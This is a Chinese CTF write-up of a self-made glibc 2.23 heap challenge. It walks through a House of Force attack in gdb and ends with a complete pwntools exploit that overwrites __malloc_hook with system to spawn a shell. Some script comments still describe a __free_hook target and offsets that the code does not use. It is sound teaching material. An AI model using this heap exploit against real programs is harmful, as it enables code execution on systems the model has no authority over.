24.House of Force 从零到 getshell

📎my_force.zip

House of Force 从零到 getshell ------ 一道自命题的完整调试记录

这是一道关于 House of Force 的自命题,名字叫 my_force,题目本身不复杂,主要用到的知识点是堆溢出。写这篇文章的目的不只是记一下 exp,而是把从 brk 到 main_arena 这条线理清楚,因为 House of Force 恰恰是把这一串概念串起来的一个技巧。

先交代环境:x86-64,glibc 2.23,No PIE,只开了 NX 和 Partial RELRO。下面按知识点扩充、静态分析、动态验证、说明四部分来写。

0. 知识点的扩充

1. brk 和 sbrk

这两个经常被混着叫,其实区别就一个:传的参数不一样。

brk 传的是目标绝对地址,直接告诉内核"堆顶设到这里";sbrk 传的是增量,"往上推多少字节"。

如果手上只有 brk,每次扩堆都得干这么三件事:先 brk(0) 问一下当前堆顶在哪,自己在用户态把新地址算出来,再 brk(新地址) 设回去。两次系统调用,还得自己维护"当前堆顶"这个值。

sbrk 就是给这堆活包了个壳。glibc 里有个静态变量 __curbrk 记着当前堆顶,sbrk(delta) 直接加上去,再调一次底层的 brk 落实。返回值也顺便给了,返回的是扩容前的旧堆顶,也就是新拿到那块内存的起点,拿来就能用。

所以 sbrk 的底层其实还是 brk,只是多做了一点记账和算术。

2. 堆的布局

堆是从低地址往高地址长的。.bss 上面那一段就是堆的起点,本题是 0x405000,再往上是内核给的 brk 边界线,中间这片没分出去的空间就是 top chunk。

复制代码
高地址   0x426000  +--------------------------+   ← 内核 brk 边界
                   |        Top Chunk         |
         0x4056c0  +--------------------------+   ← main_arena.top
                   |    已分配的 chunk        |
         0x405000  +--------------------------+   ← 堆起点
                   |    .bss / .data          |
低地址             +--------------------------+

每次 malloc 从 top 上切一块,top 就往上挪一截。chunk 头里的 size 记的是"从这块头开始一共占多少字节",最低位是 PREV_INUSE 标志位,所以 0x110 的块在内存里写的是 0x111。

越过 brk 边界去访问会直接段错误,因为那块内存内核还没给权限。所以 top chunk 的 size 实际上反映了"还能安全用多少"。

3. arena

早年的分配器只有一个堆、一套空闲链表、一个 top。单线程当然没问题,多线程就麻烦了:大家都去切同一个 top,指针必然乱,只能加锁。结果十个线程抢一把锁,多核直接退化成排队。

ptmalloc 的办法是给线程发独立金库,每个 arena 就是一份完整的管理结构(struct malloc_state),有自己的锁、自己的 bins、自己的 top。线程 A 去 1 号 arena,线程 B 去 2 号,各锁各的门,互不干扰。

struct malloc_state 里最关键的就三个字段:

复制代码
struct malloc_state {
    __libc_lock_define (, mutex);      // 这个 arena 自己的锁
    int flags;
    mfastbinptr fastbinsY[NFASTBINS];  // fastbin 链表
    mchunkptr top;                     // 本 arena 专属的 top chunk 指针
    mchunkptr last_remainder;
    mchunkptr bins[NBINS * 2 - 2];     // unsorted / small / large bins
    ...
};

这里有个容易忽略的地方:top 指针是放在 arena 里的,不是全局的。所以每个 arena 各有一个 top,改 main_arena.top 只影响主分配区。

4. 什么时候会走 mmap

这一条在本题里没触发,但看别的堆题时经常要对上号:

  • 单次申请超过阈值,默认是 128KB(DEFAULT_MMAP_THRESHOLD)。走 mmap 的好处是 free 的时候能 munmap 直接还给系统,不会在堆里留个洞;否则一块 10MB 的内存在传统堆里被释放后,上面只要还压着一个没释放的小块,堆顶就降不下来。
  • 子线程要新建 arena,或者某个子 arena 的 top 用光了。因为整个进程只有一条 brk 边界,被主分配区占着,子分配区只能靠 mmap 另找地盘,一次映射 64MB 虚拟空间,先只把头部那块设成可读写,后面按需 mprotect。
  • 主 arena 用 brk 扩容失败,比如撞上了上面的其他映射,或者被 RLIMIT_DATA 卡住,这时候会退而求其次用 mmap 找块空地当新 top,这种情况叫 non-contiguous main arena。
  • 环境变量或者 mallopt 把阈值调小了,或者程序干脆换成了 jemalloc / tcmalloc。

本题全程一个主线程、小内存,所以老老实实走 brk,堆是一根连续的线。

5. 每个 arena 都有自己的 top

复制代码
高地址 +---------------------------------------+
       |        栈空间 (Stack)                  |
       +=======================================+   ← 子堆天花板
       |   子 Arena 的 Top Chunk                |   ← thread_arena->top
       +---------------------------------------+
       |   子线程已分配的 Chunks                |
       |   heap_info / malloc_state(子账本)   |
       +=======================================+   ← mmap 出来的子堆起点
       |         ...                            |
       +=======================================+   ← 主堆顶(brk)
       |   主 Arena 的 Top Chunk                |   ← main_arena.top
       +---------------------------------------+
       |   主线程已分配的 Chunks                |
       +=======================================+   ← start_brk
       |   .bss / .data / 代码段                |
低地址 +---------------------------------------+

main_arena 和 thread_arena 都是 struct malloc_state 的实例,所以各自都有自己的 top,互不干扰。

6. request2size

用户说"我要 256 字节",glibc 不能真给 256。一是块前面得挂元数据(prev_size 加 size,64 位下 16 字节),二是块大小必须 16 字节对齐。

复制代码
#define request2size(req) \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
// SIZE_SZ = 8, MALLOC_ALIGN_MASK = 0xf,化简就是 (req + 0x17) & ~0xf

代进去算:malloc(0x100) 得 0x110,malloc(0x500) 得 0x510,malloc(0x90) 得 0xa0,都对得上。

这个公式在 House of Force 里是致命的,后面 req = nb - 0x10 那个减 0x10 就是从这儿来的。

7. malloc_hook 和 free_hook

这两个是 glibc 留下的全局函数指针,各占 8 字节,住在 libc 的数据段里。它不为 NULL 的时候,原本的分配/释放流程就整个被顶掉。

复制代码
void *__libc_malloc(size_t bytes)
{
    void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
    if (hook != NULL)
        return (*hook)(bytes, RETURN_ADDRESS(0));   // 不分配,直接调
    return _int_malloc(arena, bytes);
}

void __libc_free(void *mem)
{
    void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
    if (hook != NULL) {
        (*hook)(mem, RETURN_ADDRESS(0));            // 不释放,调完就返回
        return;
    }
    _int_free(arena, mem, 0);
}

注意两者参数不一样:malloc_hook 第一个参数是请求的字节数,free_hook 第一个参数是被释放的指针。这个差别决定了后面给 system 喂 /bin/sh 的方式完全不同------用 malloc_hook,把 /bin/sh 的地址当成 size 传进去就行;用 free_hook,则要让那个指针指向的内容是 /bin/sh 字符串。

检查发生在函数最开头、arena_get 之前,所以后面所有的堆校验、bin 遍历都不会走。这也是它能当"任意写 → 代码执行"终结点的原因。

8. main_arena

main_arena 是主分配区的账本,谁空了、空在哪、还剩多少、下次从哪切,都写在里面。它在 libc 数据段,偏移固定,这份 libc 里 main_arena = __malloc_hook + 0x10。

顺带说一句 unsorted bin:往里面插块的时候,块的 fd / bk 会被写成链表头的地址,而链表头就在 main_arena + 0x58。所以只要 free 一个够大的块,它用户区前 16 字节就会出现一个 libc 地址,这就是后面泄露 libc 的来源。

1. 静态分析

菜单就四个功能,源码很直白,这里不逐行解释,直接看关键位置。

alloc 用 malloc(size) 申请,size 走的是 strtoull 而不是 atoi,所以能送进去真正的大数;申请完还把地址打印出来,等于白送一个堆地址。edit 用 read(0, ptrsi, nbytes) 写数据,nbytes 完全由输入决定。show 用 write(1, ptrsi, sizesi),用的是申请时记录的大小。free 之后立刻把指针置空、大小清零。

漏洞在 edit 这一段:

复制代码
v6 = read_int("idx: ");
nbytes = read_size("len: ");
if ( (unsigned int)v6 > 0xF || !*((_QWORD *)&ptrs + v6) )
    goto LABEL_26;
printf("data: ");
if ( read(0, *((void **)&ptrs + v6), nbytes) != nbytes )
    puts("[-] short read");

它只做了两件事:检查下标合不合法,检查指针是不是空。nbytes 和 sizesv6 之间没有任何比较,read 会老实地从 ptrsv6 开始写 nbytes 个字节,写多少是多少。

那个看着有点怪的 (unsigned int)v6 > 0xF 其实是源码里 i < 0 || i >= MAXSLOT 被编译器优化成了无符号比较,负数和越界一次挡住。所以下标这边没文章可做,能动手的只有长度。

另外 free 之后指针被置空,没有 UAF 也没有 double free;show 用的是记录大小,读的那一端也是安全的。整道题就留了这一个口子。

2. 动态验证

环境是 pwndbg + gdb,ASLR 关掉方便对照地址。

2.1 先把关键地址算出来

复制代码
gdb -q ./my_force
set pagination off
set confirm off
set disable-randomization on
start
p/x &__malloc_hook

【你应该看到】

复制代码
$1 = 0x7ffff7bc4b10

有了它,剩下的都是加偏移:

复制代码
set $hook  = 0x7ffff7bc4b10        # __malloc_hook 的地址
set $libc  = $hook - 0x3c4b10      # libc 基址 = 0x7ffff7800000
set $T     = $libc + 0x3c4b00      # 目标 top = 0x7ffff7bc4b00
set $sys   = $libc + 0x45390       # system = 0x7ffff7845390
set $binsh = $libc + 0x18cd57      # "/bin/sh" = 0x7ffff798cd57

这里我额外打了个断在 read_int 上,方便每个提示符前停下来看内存。这里提醒一句,别用 commands / continue / end 那一套,pwndbg 会直接报 DEADLOCK,手动 c 反而更省事。

2.2 把堆搭起来

复制代码
1
256
1
1280
1
144

【你应该看到】

复制代码
[0] = 0x405010 (size=256)
[1] = 0x405120 (size=1280)
[2] = 0x405630 (size=144)

heap 看一眼:

复制代码
Allocated chunk | PREV_INUSE
Addr: 0x405000    Size: 0x110 (0x111)

Allocated chunk | PREV_INUSE
Addr: 0x405110    Size: 0x510 (0x511)

Allocated chunk | PREV_INUSE
Addr: 0x405620    Size: 0xa0 (0xa1)

Top chunk | PREV_INUSE
Addr: 0x4056c0    Size: 0x20940 (0x20941)

三块首尾相接,top 在 0x4056c0。顺便确认一件事:2.23 没有 tcache,free 掉的块不会先进 tcache 队列,而是直接进 bins 或者并进 top。

2.3 泄露 libc

先把 0x500 那块 free 掉。它后面挡着一个 0x90 的 guard 块,所以不会并进 top,而是老老实实进 unsorted bin。

复制代码
4
1

x/4gx 0x405110

【你应该看到】

复制代码
0x405110: 0x0000000000000000  0x0000000000000511
0x405120: 0x00007ffff7bc4b78  0x00007ffff7bc4b78

两个指针相等,都是 0x7ffff7bc4b78,减去 0x3c4b78 正好是 libc 基址 0x7ffff7800000。它同时也是 main_arena + 0x58,也就是 unsorted bin 的链表头。

拿到之后按原大小申请回来。malloc 从 unsorted bin 摘块的时候不会清空块里的数据,所以那 16 字节还在:

复制代码
1
1280
3
1

show 出来的是一串乱码,这是正常的,它就是那 8 字节的小端形式,不用管。想看清楚就用 gdb:

复制代码
x/2gx 0x405120

【你应该看到】

复制代码
0x405120: 0x00007ffff7bc4b78

2.4 把 top 挪回来

现在还要让 top 退到 p0 后面,才能用溢出打到它的 size。把 guard 和 0x500 那块依次 free 掉,它们会依次并进 top。

复制代码
4
2
4
1

x/2gx 0x405110

【你应该看到】

复制代码
0x405110: 0x0000000000000000  0x0000000000020ef1

0x405110 现在是 top 的头,等于 p0 + 0x100;size 从 0x20941 涨到 0x20ef1,正好是 0x20940 + 0xa0 + 0x510。这一步对上了,说明合并没出岔子。这时候再去 bins 里看,已经空了,全给 top 吃回去了。

2.5 溢出,打掉 top 的 size

复制代码
2
0
272

然后输入 272 个字符,我直接敲了一串 A。

复制代码
x/2gx 0x405110

【你应该看到】

复制代码
0x405110: 0x4141414141414141  0x4141414141414141

p0 的可用区是 0x100 字节,写 272 就多出 0x10,正好盖到 0x405110(next chunk 的 prev_size)和 0x405118(size,也就是 top 的 size)。两个字段都变成 0x4141...,溢出确认。

再把 size 直接落成 -1。这一步用 gdb 写是因为 0xff 敲不进终端:

复制代码
set {unsigned long}0x405118 = 0xffffffffffffffff
x/2gx 0x405110

【你应该看到】

复制代码
0x405110: 0x4141414141414141  0xffffffffffffffff

堆管理器从此认为这块 top 还剩 16 EB。

2.6 把 top 搬到 libc

现在的 top 在 0x405110,目标是 0x7ffff7bc4b00。要移动的字节数:

复制代码
nb  = 0x7ffff7bc4b00 - 0x405110 = 0x7ffff77bf9f0
req = nb - 0x10                 = 0x7ffff77bf9e0 = 140737345485280

减 0x10 是因为 request2size 会自动加回来,不减的话 top 会多走 16 字节。

复制代码
1
140737345485280

【你应该看到】

复制代码
[1] = 0x405120 (size=140737345485280)

返回值本身没什么意义,就是旧 top 的用户指针,关键看 top 去哪了:

复制代码
x/2gx 0x7ffff7bc4b00

【你应该看到】

复制代码
0x7ffff7bc4b00: 0x0000000000000000  0xffff800008840609

0x7ffff7bc4b00 上出现了 chunk 头,size 是 0xffff800008840609(末位 1)。这个地址在 libc 数据段里,T + 0x10 正好是 __malloc_hook。

2.7 拿到 hook,写 system

复制代码
1
32

【你应该看到】

复制代码
[2] = 0x7ffff7bc4b10 (size=32)

一次"堆分配",返回了 libc 的地址,这就是 House of Force 的威力。

复制代码
set {unsigned long}0x7ffff7bc4b10 = 0x7ffff7845390
x/gx 0x7ffff7bc4b10

【你应该看到】

复制代码
0x7ffff7bc4b10 <__malloc_hook>: 0x00007ffff7845390

2.8 触发

复制代码
1
140737347374423

这个数不是大小,是 "/bin/sh" 的地址(0x7ffff798cd57)。因为 hook 已经被改成 system,__libc_malloc 一进门就把这个"大小"当参数传给了 system,等于 system("/bin/sh")。

这一次连 _int_malloc 都没进去,所以在里面打断点是打不到的。接着敲 id:

【你应该看到】

复制代码
uid=1000(bgl1) gid=1000(bgl1) ...

3. 说明

3.1 这一招到底做了什么

_int_malloc 从 top 切块的逻辑里,有一条几乎不设防的路径:

复制代码
victim = av->top;
size   = chunksize(victim);
if ((unsigned long)size >= (unsigned long)(nb + MINSIZE)) {
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);   // 纯加法,不查边界
    av->top        = remainder;
    ...
    return chunk2mem(victim);                       // 返回 victim + 0x10
}

size 被改成 -1 之后,那个 if 对任何 nb 都成立,remainder = victim + nb 也不看这个地址有没有意义,av->top 就这么被搬走了。

所以 House of Force 的实质不是"溢出"本身,而是篡改 main_arena.top 这个指针。溢出只是达成它的手段。

3.2 三个 0x10

  • T 必须 16 对齐,因为 chunk 是对齐分配的;
  • T + 0x10 必须是 __malloc_hook,因为 chunk2mem 固定加 0x10;
  • req = nb - 0x10,因为 request2size 固定要加回来。

一进一出,全是同一个 0x10。

3.3 为什么选 malloc_hook 不用 free_hook

__free_hook 在 0x3c67a8,末位是 8,不是 16 对齐。想打它就得让 T = __free_hook - 0x18,但那个位置紧挨着 __after_morecore_hook,libc 自己会把我们写进去的 size 改掉,实测读回来是一串乱七八糟的值,下一次 malloc 的准入检查直接失败。

__malloc_hook 在 0x3c4b10,T = 0x3c4b00 正好对齐,而且它前面那 8 字节程序不用,被写脏了也没影响。

再加上 malloc 这条路更短,__libc_malloc 进门就查 hook,参数还只是一个数字,把 /bin/sh 的地址传进去就完事,不需要在堆上另外准备一份字符串。

3.4 为什么 2.29 之后就死了

后面版本给这条路径加了一句范围检查:

复制代码
if (__glibc_unlikely (size <= 2 * SIZE_SZ) || __glibc_unlikely (size > av->system_mem))
    malloc_printerr ("malloc(): corrupted top size");

-1 显然大于 system_mem(当前从系统拿到的总量),直接 abort。所以这个技巧只在 2.23 / 2.27 / 2.28 上有效,再往后就得换 tcache poisoning 或者 large bin attack 那些路子。

3.5 这题是一次性的

top 一旦被搬进 libc,堆就废了,main_arena.top 指向数据段,后面任何一次 malloc 都会从那块"假堆"上切,正常逻辑全乱。

所以顺序不能错,也不能中途重来。我在 exp 里前面加了一堆 assert 就是这个原因,宁可提前报错,也不要带着错位跑到底再崩。

3.6 实际踩到的几个坑

  • edit 分支是先读 len 再判 idx 的。想用非法下标绕回菜单、骗一个断点,len 那一步也得给个数,不然程序就停在那儿等输入,看着像卡死。
  • pwndbg 里用 commands 块配 continue 会报 DEADLOCK,改成手动 c 更稳。
  • 发布版 libc 是 strip 过的,_int_malloc、main_arena 这些内部符号 gdb 认不出来。要看分配情况就断 malloc(参数在 rdi),或者干脆看程序自己打印的 size=。
  • 泄露那一步读出来的 8 字节是二进制,终端显示成乱码属于正常现象,用 gdb 的 x/2gx 对照确认就行。
  • 题目里 guard 块必须大于 0x80。小于等于 0x80 会进 fastbin,free 之后不会和 top 合并,后面算 top 位置就会全错。

3.7 最后

House of Force 的思路很直接:用一个堆溢出把 top 的 size 改成 -1,再用一次巨额 malloc 把 top 送到目标旁边,接着一次 malloc 就把那块内存交到手上。

它的短板也很明显,版本卡死、一次性、依赖地址已知。但作为理解 main_arena.top 和 request2size 的练习题,它把最核心的几个概念串得挺完整。

4.脚本

复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
my_force ------ House of Force 自出题 exp(glibc 2.23-0ubuntu10)

利用链:
  [1] 泄露:free 一个 0x500 的块进 unsorted bin(后面有 guard,不会被并入 top),
      重新 malloc 取回同一块,show 读前 8 字节 = main_arena+0x58 -> libc base
  [2] 恢复堆布局:free(guard) + free(leak_chunk) 让 top 回到 p0 之后
  [3] 溢出:edit(p0) 的 len 不校验 -> 覆盖 top->size = -1
  [4] malloc(evil):top = old_top + request2size(evil) 被挪到 __free_hook 附近
  [5] malloc(0x20) 返回 __free_hook-8,edit 写入 system
  [6] malloc(0x30) 写 "/bin/sh",free 触发 __free_hook -> system("/bin/sh")

本目录 libc 偏移(nm -D libc-2.23.so 实测):
  __free_hook = 0x3c67a8     system = 0x45390
  unsorted(fd) = main_arena+0x58 = 0x3c4b78
"""
from pwn import *
import os
import re

context(arch='amd64', log_level=os.environ.get('LV', 'info'))
HERE = os.path.dirname(os.path.abspath(__file__))

LIBC_UNSORTED = 0x3c4b78
LIBC_MALLOC_HOOK = 0x3c4b10
LIBC_BINSH = 0x18cd57
LIBC_SYSTEM = 0x45390

# House of Force 的目标 top:必须 16 对齐,且 top+0x10 落在 __free_hook 前 8 字节
# 取 T = libc + 0x3c6790 => 下一次 malloc 返回 libc+0x3c67a0 = __free_hook - 8
HOF_TOP_OFF = 0x3c4b00


def start():
    p = process(os.path.join(HERE, 'my_force'), cwd=HERE)
    p.timeout = 4
    return p


def alloc(p, size):
    p.sendlineafter(b'> ', b'1')
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
    line = p.recvline()
    m = re.search(rb'0x[0-9a-f]+', line)
    return int(m.group(0), 16)


def edit(p, idx, data):
    p.sendlineafter(b'> ', b'2')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'len: ')
    p.sendline(str(len(data)).encode())
    p.recvuntil(b'data: ')
    p.send(data)
    p.recvuntil(b'\n')          # edit 结束后的空行


def show(p, idx, n):
    p.sendlineafter(b'> ', b'3')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx).encode())
    data = p.recvn(n)
    p.recvuntil(b'\n')
    return data


def free(p, idx):
    p.sendlineafter(b'> ', b'4')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx).encode())


def main():
    p = start()

    # ---------------- [1] 泄露 libc ----------------
    p0 = alloc(p, 0x100)        # idx0:HoF 受害者,将来与 top 相邻
    p1 = alloc(p, 0x500)        # idx1:泄露用
    p2 = alloc(p, 0x90)         # idx2:guard(>0x80 避免进 fastbin),阻止 p1 free 时并入 top

    log.info("p0=%#x p1=%#x p2=%#x", p0, p1, p2)
    assert p1 == p0 + 0x100 + 0x10, "堆布局不符合预期"
    assert p2 == p1 + 0x510, "堆布局不符合预期"

    free(p, 1)                  # p1 -> unsorted bin
    p1b = alloc(p, 0x500)       # 精确取回,fd 未被清零
    assert p1b == p1

    leak = u64(show(p, 1, 8))
    libc = leak - LIBC_UNSORTED
    assert libc & 0xfff == 0, "libc 基址未页对齐: %#x" % libc
    log.success("leak=%#x  libc=%#x", leak, libc)

    # ---------------- [2] 恢复布局:top 回到 p0 之后 ----------------
    free(p, 2)                  # guard 并入 top
    free(p, 1)                  # p1 与 top 相邻 -> 合并,top = p1 = p0+0x110

    top = p0 + 0x100            # p0 的 chunk 头 + 0x110 = user0 + 0x100
    top_size_addr = top + 8

    # ---------------- [3] 溢出改写 top->size = -1 ----------------
    payload = b'A' * 0x100 + p64(0) + p64(0xffffffffffffffff)
    assert len(payload) == 0x110
    edit(p, 0, payload)
    log.success("top->size @ %#x 已改为 -1", top_size_addr)

    # ---------------- [4] 把 top 挪到目标 ----------------
    T = libc + HOF_TOP_OFF
    # request2size(req) = (req+23) & ~15;取 req = (T-top)-0x10 可得 nb = T-top
    req = (T - top) - 0x10
    log.info("T=%#x  req=%#x", T, req)
    evil = alloc(p, req)        # 只分配,不读入

    # ---------------- [5] malloc(0x20) 返回 __free_hook-8 ----------------
    hook_user = alloc(p, 0x20)
    log.success("malloc(0x20) -> %#x (expect %#x)", hook_user, libc + LIBC_MALLOC_HOOK)
    assert hook_user == libc + LIBC_MALLOC_HOOK

    edit(p, 2, p64(libc + LIBC_SYSTEM))
    log.success("__malloc_hook = system")

    # ---------------- [6] 触发:malloc 实参 = "/bin/sh" 地址 ----------------
    # 注意:__libc_malloc 一进来就查 __malloc_hook,不会真的分配,
    # 所以实参可以是任意大的地址 ------ 这里就是 libc 里的 "/bin/sh" 字符串。
    p.sendlineafter(b'> ', b'1')
    p.recvuntil(b'size: ')
    p.sendline(str(libc + LIBC_BINSH).encode())
    # malloc(0x18cd57) -> system("/bin/sh"),不会打印地址行
    p.sendline(b'echo PWNED_HOF && id && exit')
    print(p.recvrepeat(3).decode(errors='replace'))
    p.close()


if __name__ == '__main__':
    main()
相关推荐
sogw-三叶草️23 天前
my_uaf_hook
pwn·二进制安全
sogw-三叶草️1 个月前
HITCON CTF 2014 — stkof · Unsafe Unlink
网络·安全·web安全·pwn·堆·二进制安全·堆漏洞
sogw-三叶草️1 个月前
House of Orange
网络安全·pwn·堆·二进制安全
sogw-三叶草️1 个月前
House Of Einherjar
pwn·堆·二进制安全
风间琉璃""2 年前
PWN的知识之栈溢出
数据结构·算法·网络安全·pwn·二进制安全·栈溢出
Xh1Xxhg2 年前
【pwnable.kr】0x02-collision Writeup
pwn·二进制安全·pwnable.kr
FreeBuf_2 年前
HardeningMeter:一款针对二进制文件和系统安全强度的开源工具
系统安全·二进制安全·安全检测
Ba1_Ma03 年前
二进制安全虚拟机Protostar靶场(7)heap2 UAF(use-after-free)漏洞
linux·安全·pwn·ctf·堆·二进制安全
Ba1_Ma03 年前
二进制安全虚拟机Protostar靶场(8)heap3 Fastbins unlink exploit
安全·pwn·ctf·堆·二进制安全